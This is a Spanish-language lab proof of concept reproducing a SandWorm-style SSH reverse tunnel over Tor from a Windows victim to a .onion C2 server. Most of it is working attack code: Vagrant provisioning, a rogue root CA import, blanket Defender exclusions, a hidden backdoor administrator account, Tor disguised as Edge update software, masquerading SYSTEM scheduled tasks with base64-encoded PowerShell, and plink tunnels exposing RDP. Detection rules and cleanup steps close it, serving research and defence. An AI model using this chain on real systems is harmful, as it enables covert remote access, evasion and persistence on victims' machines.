Lab PoC: SSH Reverse Tunnel sobre Tor (tecnica APT SandWorm)

Import-Certificate -FilePath "DemiMurCA.crt" -CertStoreLocation "Cert:\LocalMachine\Root"

Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "C:\Windows\System32\WindowsPowerShell"

┌─────────────────────┐         Red Tor              ┌─────────────────┐
│   VICTIM-WIN        │ ──SSH reverse tunnel──────>   │   C2-SERVER     │
│   (Windows 10)      │    (via .onion address)       │   (Debian 12)   │
│                     │                               │                 │
│ RDP :3389 (nativo)  │  plink.exe ──> Tor SOCKS5    │ Tor Hidden Svc  │
│ Tor SOCKS :9050     │    PuTTY session registry     │ SSH :22         │
│ Defender ACTIVO     │    (ProxyMethod=2 SOCKS5)            │ usuario: tambur │
│ 192.168.56.20       │                               │ 192.168.56.10   │
└─────────────────────┘                               └────────┬────────┘
                                                               │
                                                        localhost:30054 = RDP victima
                                                        localhost:20054 = SSH victima

┌─────────────────┐
│    MONITOR      │  <- Para capturar trafico y verificar
│ tcpdump/tshark  │     que NO hay conexion directa
│ 192.168.56.30   │
└─────────────────┘

# /etc/network/interfaces (o via nmcli)
auto eth1
iface eth1 inet static
    address 192.168.56.10
    netmask 255.255.255.0

sudo apt update
sudo apt install -y tor openssh-server

sudo nano /etc/ssh/sshd_config

GatewayPorts yes
PermitRootLogin yes
PasswordAuthentication yes
AllowTcpForwarding yes

sudo systemctl restart sshd

sudo useradd -m -s /bin/bash tambur
echo "tambur:1qaz@WSX" | sudo chpasswd

sudo nano /etc/tor/torrc

# Hidden Service para SSH (C2)
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22

sudo systemctl restart tor

sudo cat /var/lib/tor/ssh_hidden_service/hostname

n6b6j4vlkc4ak343j4fmuwmosxtwrft6bph5s5562lefji4a475smuad.onion

# SSH escuchando
sudo ss -tlnp | grep :22

# Tor corriendo
sudo systemctl status tor

# Hidden service publicado
sudo ls -la /var/lib/tor/ssh_hidden_service/
# Debe contener: hostname, hs_ed25519_public_key, hs_ed25519_secret_key

# RDP activo (siempre en Windows 10 con la configuracion del lab)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389

# Tor corriendo
Get-Process tor -ErrorAction SilentlyContinue

# SOCKS5 proxy activo
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050

# IP: 192.168.56.30
auto eth1
iface eth1 inet static
    address 192.168.56.30
    netmask 255.255.255.0

sudo apt update
sudo apt install -y tcpdump tshark nmap net-tools

# -*- mode: ruby -*-
# SandWorm SSH-Tor Tunnel Lab (Full Kill Chain)
# APT-C-13 PoC: Windows 10 victim + Tor + Reverse Tunnel

Vagrant.configure("2") do |config|

  # =========================================================================
  # C2 SERVER (Atacante - Debian 12)
  # =========================================================================
  config.vm.define "c2-server" do |c2|
    c2.vm.box = "debian/bookworm64"
    c2.vm.hostname = "c2-server"
    c2.vm.network "private_network", ip: "192.168.56.10"

    c2.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-c2-server"
      vb.memory = 1024
      vb.cpus = 1
    end

    c2.vm.provision "shell", inline: <<-SHELL
      export DEBIAN_FRONTEND=noninteractive
      apt-get update -qq
      apt-get install -y -qq tor openssh-server sshpass

      # SSH: aceptar reverse tunnels + password auth
      sed -i 's/#GatewayPorts no/GatewayPorts yes/' /etc/ssh/sshd_config
      sed -i 's/#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
      grep -q "^AllowTcpForwarding" /etc/ssh/sshd_config || echo "AllowTcpForwarding yes" >> /etc/ssh/sshd_config
      systemctl restart sshd

      # Usuario para el tunnel (password: Tunnel2026)
      useradd -m -s /bin/bash tambur || true
      echo "tambur:Tunnel2026" | chpasswd

      # Tor Hidden Service para SSH
      cat >> /etc/tor/torrc <<TORRC

HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22
TORRC

      systemctl restart tor
      sleep 5

      # Esperar a que Tor genere el hostname .onion
      for i in $(seq 1 30); do
        [ -f /var/lib/tor/ssh_hidden_service/hostname ] && break
        sleep 2
      done

      ONION=$(cat /var/lib/tor/ssh_hidden_service/hostname 2>/dev/null || echo "PENDIENTE")
      echo "[+] Tor Hidden Service: $ONION"
      echo "$ONION" > /vagrant/.c2_onion_address
    SHELL
  end

  # =========================================================================
  # VICTIM (Windows 10 - Defender activo, RDP nativo)
  # =========================================================================
  config.vm.define "victim-win" do |victim|
    victim.vm.box = "StefanScherer/windows_10"
    victim.vm.hostname = "victim-win"
    victim.vm.network "private_network", ip: "192.168.56.20"
    victim.vm.communicator = "winrm"

    victim.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-victim-win"
      vb.memory = 4096
      vb.cpus = 2
      vb.gui = true
    end

    victim.vm.provision "shell", inline: <<-POWERSHELL
      # Habilitar RDP
      Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 0
      Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
      Write-Host "[+] RDP habilitado"
    POWERSHELL
  end

  # =========================================================================
  # MONITOR (Observacion y analisis)
  # =========================================================================
  config.vm.define "monitor" do |mon|
    mon.vm.box = "debian/bookworm64"
    mon.vm.hostname = "monitor"
    mon.vm.network "private_network", ip: "192.168.56.30"

    mon.vm.provider "virtualbox" do |vb|
      vb.name = "sandworm-monitor"
      vb.memory = 512
      vb.cpus = 1
    end

    mon.vm.provision "shell", inline: <<-SHELL
      export DEBIAN_FRONTEND=noninteractive
      apt-get update -qq
      apt-get install -y -qq tcpdump tshark nmap net-tools
    SHELL
  end
end

# Exclusiones masivas en Defender (como SandWorm)
Add-MpPreference -ExclusionPath "C:\"
Add-MpPreference -ExclusionPath "$env:TEMP"
Add-MpPreference -ExclusionPath "$env:PUBLIC"
Add-MpPreference -ExclusionProcess "ssh.exe"
Add-MpPreference -ExclusionProcess "tor.exe"
Add-MpPreference -ExclusionProcess "powershell.exe"
Add-MpPreference -ExclusionProcess "plink.exe"

# Descargar Tor Expert Bundle en ruta que simula software legitimo
$TorDir = "$env:PUBLIC\Edge Update Manager"
New-Item -ItemType Directory -Path $TorDir -Force | Out-Null

# Descargar Tor (en el lab se copia de tools/)
Copy-Item "C:\vagrant\tools\tor.exe" "$TorDir\tor.exe"

# Iniciar Tor con SOCKS5 en 9050
Start-Process -FilePath "$TorDir\tor.exe" `
    -ArgumentList "--SocksPort 9050 --DataDirectory `"$TorDir\Tor\data`"" `
    -WindowStyle Hidden

# Crear usuario backdoor (oculto del login screen)
net user Admin "1qaz@WSX" /add /y
net localgroup Administrators Admin /add
# Ocultar del login
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Admin /t REG_DWORD /d 0 /f

# Persistencia: tarea programada con nombre legitimo
schtasks /Create /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" `
    /TR "powershell.exe -WindowStyle Hidden -File C:\vagrant\scripts\Tambur.ps1" `
    /SC ONSTART /RU SYSTEM /RL HIGHEST /F

$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$C2HostKey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"

# Crear PuTTY saved session con SOCKS5 proxy (resolucion DNS en Tor)
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "UserName" -Value "tambur"
Set-ItemProperty -Path $sessionPath -Name "Protocol" -Value "ssh"
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord  # SOCKS5 (2=SOCKS5, 5=Local cmd)
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord     # DNS at proxy (critico para .onion)
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user"        # Necesario para -batch (evita prompt SOCKS auth)
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass"        # Tor acepta cualquier valor

# Lanzar plink con reverse tunnels
$PlinkExe = "C:\vagrant\tools\plink.exe"
$bat = "@echo off`r`n`"$PlinkExe`" -batch -pw Tunnel2026 -hostkey `"$C2HostKey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\tunnel.bat", $bat)

# VBS wrapper (stealth - SandWorm usa rata.vbs)
$vbs = "Set s = CreateObject(`"WScript.Shell`")`r`ns.Run `"$env:PUBLIC\Edge Update Manager\tunnel.bat`", 0, False"
[System.IO.File]::WriteAllText("$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs", $vbs)

# Ejecutar
& cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"

# Desplegar las 3 VMs
export VAGRANT_DEFAULT_PROVIDER=virtualbox
vagrant up

# Ejecutar kill chain en la victima (en orden)
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\DemiMur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Kalambur.ps1'
vagrant winrm victim-win -e -c 'powershell -File C:\vagrant\scripts\Tambur.ps1'

# Verificar tunnel en el C2
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"

# Via Vagrant WinRM (elevado):
vagrant winrm victim-win -e -c 'hostname'

# O via RDP directo:
# IP: 192.168.56.20, User: vagrant, Pass: vagrant

# Tor corriendo con SOCKS5
Get-Process tor -ErrorAction SilentlyContinue
Test-NetConnection -ComputerName 127.0.0.1 -Port 9050

# RDP activo (nativo en Windows 10)
Test-NetConnection -ComputerName 127.0.0.1 -Port 3389

# plink.exe disponible
Test-Path "C:\vagrant\tools\plink.exe"

# 1. Configurar PuTTY session con proxy SOCKS5 (registro)
$C2Onion = (Get-Content "C:\vagrant\.c2_onion_address").Trim()
$sessionPath = "HKCU:\SOFTWARE\SimonTatham\PuTTY\Sessions\c2tunnel"
New-Item -Path $sessionPath -Force | Out-Null
Set-ItemProperty -Path $sessionPath -Name "HostName" -Value $C2Onion
Set-ItemProperty -Path $sessionPath -Name "PortNumber" -Value 22 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyMethod" -Value 2 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyHost" -Value "127.0.0.1"
Set-ItemProperty -Path $sessionPath -Name "ProxyPort" -Value 9050 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyDNS" -Value 1 -Type DWord
Set-ItemProperty -Path $sessionPath -Name "ProxyUsername" -Value "user"
Set-ItemProperty -Path $sessionPath -Name "ProxyPassword" -Value "pass"

# 2. Lanzar plink con reverse tunnels (background via VBS)
$hostkey = "ecdsa-sha2-nistp256 256 SHA256:TndzXJgBTV4hh+95KqJp59urFqET/bRDIbtIuVf0lFE"
Start-Process "C:\vagrant\tools\plink.exe" -ArgumentList `
    "-batch -pw Tunnel2026 -hostkey `"$hostkey`" -N -R 127.0.0.1:30054:127.0.0.1:3389 -R 127.0.0.1:20054:127.0.0.1:22 -load c2tunnel" `
    -WindowStyle Hidden

# En la victima: verificar que plink sigue corriendo
Get-Process plink -ErrorAction SilentlyContinue

# En el C2: verificar que los puertos estan escuchando
vagrant ssh c2-server -c "ss -tlnp | grep -E '30054|20054'"

LISTEN  0  128  0.0.0.0:30054  0.0.0.0:*
LISTEN  0  128  0.0.0.0:20054  0.0.0.0:*

vagrant ssh c2-server
ss -tlnp | grep -E '30054|20054'

# Opcion 1: Desde el C2 directamente
xfreerdp /v:127.0.0.1:30054 /u:Admin /p:1qaz@WSX

# Opcion 2: Desde tu host, forwardea el puerto del C2
ssh -L 3389:127.0.0.1:30054 vagrant@192.168.56.10
# Luego abre tu cliente RDP contra localhost:3389

# En el C2: ver el log de SSH
sudo journalctl -u ssh --since "5 minutes ago" | grep tambur

Accepted password for tambur from 127.0.0.1 port XXXXX ssh2

vagrant ssh monitor

# Capturar TODO el trafico de la red interna
sudo tcpdump -i eth1 -w /tmp/lab_capture.pcap &

# Espera unos segundos con el tunnel activo, luego para la captura
sleep 30 && sudo kill %1

# Buscar trafico directo entre victima (.20) y C2 (.10)
sudo tcpdump -r /tmp/lab_capture.pcap host 192.168.56.20 and host 192.168.56.10

# Ver a donde conecta la victima realmente
sudo tcpdump -r /tmp/lab_capture.pcap src host 192.168.56.20

# Script de persistencia (encoded en base64 por el malware real)
$TunnelScript = @"
if (!(Get-Process plink -ErrorAction SilentlyContinue)) {
    `$torProc = Get-Process tor -ErrorAction SilentlyContinue
    if (!`$torProc) {
        Start-Process "$env:PUBLIC\Edge Update Manager\tor.exe" -ArgumentList "--SocksPort 9050 --DataDirectory `"$env:PUBLIC\Edge Update Manager\Tor\data`"" -WindowStyle Hidden
        Start-Sleep -Seconds 30
    }
    & cscript //nologo "$env:PUBLIC\Edge Update Manager\MicrosoftEdgeUpdate.vbs"
}
"@

$EncodedCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($TunnelScript))

# Tarea al inicio del sistema (nombre que simula Windows Diagnostics)
schtasks /Create /TN "\Microsoft\Windows\WDI\Tambur" `
    /TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
    /SC ONSTART /RU SYSTEM /RL HIGHEST /F

# Watchdog cada 5 minutos (re-establece si se cae)
schtasks /Create /TN "\Microsoft\Windows\WDI\TamburWatch" `
    /TR "powershell.exe -WindowStyle Hidden -enc $EncodedCmd" `
    /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F

rule SandWorm_SSH_Tor_Tunnel {
    meta:
        description = "Detecta indicadores de SSH tunnel via Tor (SandWorm/Tambur)"
        author = "Red Orbita"
    strings:
        $proxy1 = "ProxyCommand=ncat --proxy 127.0.0.1:9050" ascii
        $proxy2 = "ProxyCommand=connect" ascii wide
        $proxy3 = "ProxyMethod" ascii wide
        $tunnel = "-R 127.0.0.1:" ascii wide
        $plink = "plink" ascii wide nocase
        $user1 = "tambur@"
        $pass1 = "Tunnel2026"
        $onion = ".onion" ascii wide
        $session = "c2tunnel" ascii wide
        $vbs = "MicrosoftEdgeUpdate.vbs" ascii wide
    condition:
        2 of them
}

title: SSH Reverse Tunnel via Tor SOCKS5 Proxy (Windows)
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta plink.exe o ssh.exe con reverse port forwarding usando Tor como proxy
author: Red Orbita
logsource:
    category: process_creation
    product: windows
detection:
    selection_plink:
        Image|endswith: '\plink.exe'
        CommandLine|contains|all:
            - '-R '
            - '-load'
    selection_plink_proxy:
        Image|endswith: '\plink.exe'
        CommandLine|contains:
            - '-batch'
            - '9050'
    selection_ssh:
        Image|endswith: '\ssh.exe'
        CommandLine|contains|all:
            - '-R '
            - '9050'
    selection_registry:
        TargetObject|contains:
            - 'SimonTatham\PuTTY\Sessions'
        Details|contains:
            - '.onion'
    condition: 1 of selection_*
level: high
tags:
    - attack.command_and_control
    - attack.t1572
    - attack.t1090.003
    - attack.t1112

<rule id="100200" level="12">
  <if_sid>530</if_sid>
  <match>plink.*-R.*-load|ssh.*-R.*ProxyCommand.*9050</match>
  <description>SSH reverse tunnel via Tor SOCKS5 detected (SandWorm TTP)</description>
  <mitre>
    <id>T1572</id>
    <id>T1090.003</id>
  </mitre>
</rule>

<rule id="100201" level="10">
  <if_sid>592</if_sid>
  <match>SimonTatham.*PuTTY.*Sessions.*onion</match>
  <description>PuTTY session with .onion address created (possible Tor tunnel)</description>
  <mitre>
    <id>T1112</id>
    <id>T1572</id>
  </mitre>
</rule>

# Matar tunnel y Tor
Stop-Process -Name plink,tor -Force -ErrorAction SilentlyContinue

# Eliminar tareas programadas
schtasks /Delete /TN "\Microsoft\Windows\WDI\Tambur" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\TamburWatch" /F
schtasks /Delete /TN "\Microsoft\Windows\WDI\MicrosoftEdgeUpdateTaskMachineCore" /F

# Eliminar usuario backdoor
net user Admin /delete

# Limpiar registro PuTTY
Remove-Item "HKCU:\SOFTWARE\SimonTatham" -Recurse -Force -ErrorAction SilentlyContinue

# Eliminar ficheros
Remove-Item "$env:PUBLIC\Edge Update Manager" -Recurse -Force -ErrorAction SilentlyContinue

# Restaurar exclusiones de Defender
Remove-MpPreference -ExclusionPath "C:\"
Remove-MpPreference -ExclusionPath "$env:TEMP"
Remove-MpPreference -ExclusionPath "$env:PUBLIC"

sudo userdel -r tambur
sudo rm -rf /var/lib/tor/ssh_hidden_service
sudo systemctl restart tor

cd /ruta/a/vagrant/sandworm_ssh_tor_lab
vagrant destroy -f